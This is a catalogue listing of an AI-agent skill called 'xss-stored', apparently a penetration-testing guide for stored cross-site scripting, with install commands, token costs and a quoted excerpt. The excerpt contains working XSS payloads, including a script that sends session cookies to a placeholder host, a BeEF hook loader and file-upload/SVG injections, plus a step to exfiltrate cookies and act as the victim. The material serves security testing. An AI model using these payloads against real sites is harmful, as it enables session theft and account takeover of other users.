xss-stored

xss-stored is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 108 tokens per session (1,592 once invoked), scanned A, original, MIT.

A security-testing guide for finding stored cross-site scripting (XSS), where harmful input is saved by an application and later shown to other users without safe encoding.

In plain words
What is it for?
It is for checking profile fields, comments, uploads, logs, and other stored content to see whether it is safely handled when displayed.
Why use it?
It helps uncover pages where one user's submitted content can run in another user's browser, including in high-privilege areas such as admin panels.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit It is for checking profile fields, comments, uploads, logs, and other stored content to see whether it is safely handled when displayed.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/securitytalent/bugskill-ai/xss-stored
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SecurityTalent/bugskill-ai --skill xss-stored
Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xss-stored

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-stored/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-stored)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-stored"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-stored/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for xss-stored

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-stored"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-stored.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 108 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,592 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00108 $0.01592
Opus 5.5 $0.00043 $0.00637
Sonnet 5.5 $0.00022 $0.00318
Haiku 4.5 $0.00011 $0.00159

Measured 2mo ago against content hash 7c1207d12915, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

xss-stored scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -b "SESSION=TOKEN" TARGET/profile | grep -i "storedxss1234"
Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/xss-stored/SKILL.md · 115 lines

How it starts

The opening of the file, as written. The whole thing — 115 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Stored Cross-Site Scripting (XSS)

What Is Broken and Why

Stored XSS persists because user-supplied content is saved to a database or file system and later retrieved and rendered without output encoding. Unlike reflected XSS, no social engineering link is needed — every user who views the affected page triggers the payload. High-privilege pages (admin panels, audit logs, user management) that display stored user input are particularly dangerous as they can lead to full application compromise.

Key Signals

  • User-controlled fields stored and redisplayed: names, bios, comments, addresses, file names
  • Email fields, address fields, or free-text inputs that appear elsewhere in the UI
  • Admin panels or logs that display raw user-submitted data
  • File upload features that reflect filename or metadata in the browser
  • Shopping cart items, support ticket content, or CMS posts rendered to other users
  • Source variables: PHP $_GET, $_POST, $_REQUEST, $_FILES; ASP Request.QueryString, Request.Form; JSP request.getParameter, doGet, doPost

Methodology

  1. Map all storage points: forms, API endpoints, file uploads, profile settings.
  2. Submit a canary string (e.g., storedxss1234) to each storage point.
  3. Visit every page where the stored data is rendered (profile view, admin panel, logs, reports).
  4. Search response for unencoded canary; determine HTML context.
  5. Submit a context-appropriate XSS payload.
  6. View the rendering page in a real browser to confirm execution.
  7. Test second-order sinks: exported CSV/Excel, PDF reports, admin notifications, email templates.
  8. Test via proxy to bypass client-side validation (disable JS or intercept request).
  9. Escalate: hook with BeEF, exfiltrate session cookies, perform actions as victim.

Payloads & Tools

# Basic stored payload (comment/bio field)
<script>alert(document.cookie)</script>

# Cookie exfiltration to attacker server
<script>new Image().src='http://VICTIM/steal?c='+encodeURIComponent(document.cookie)</script>

# BeEF hook injection (replace TOKEN with actual BeEF hook URL path)
<script src="http://VICTIM/hook.js"></script>

# Email field injection (URL-encoded for proxy submission)
TARGET-EMAIL%40domain.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

# File upload XSS via Content-Type manipulation
# Send multipart upload with:
Content-Disposition: form-data; name="uploadfile1"; filename="test.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>

# SVG file upload XSS
# Upload file named payload.svg:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>

# Bypass client-side validation with Burp:
# 1. Submit valid data in browser
# 2. Intercept with Burp, modify payload in the request body
# 3. Forward modified request

# Confirm server-side storage:
curl -s -b "SESSION=TOKEN" TARGET/profile | grep -i "storedxss1234"

Read the full file on GitHub · 115 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 115 lines · 108 tokens per session scan A 7c1207d12915

Subscribe to this mod's changes

xss-stored is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 2mo ago), licensed MIT. It adds 108 tokens to every session and 1,592 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.

Related

xss-stored compared with skills from other repositories

xss-stored next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
xss-storedSecurityTalent/bugskill-aiSkill132mo agoMITA108Claude Code, Codex
user-research-cookiycookiy-ai/user-research-skillSkill1.6k21d agoMITA154Claude Code, Codex
playwright-best-practicescurrents-dev/playwright-best-practices-skillSkill44825d agoMITA214Claude Code, Codex
email-marketing-bibleCosmoBlk/email-marketing-bibleSkill39221d agoMITA195Claude Code
globalpercentsimonlin1212/globalpercentSkill791mo agoApache-2.0A134Claude Code, Codex
ui-ux-design-prosaifyxpro/ui-ux-design-pro-skillSkill1112mo agoMITA117Claude Code
distribution-patternsgarrettw/php-arch-skillsSkill172d agoMPL-2.0A91Claude Code, Codex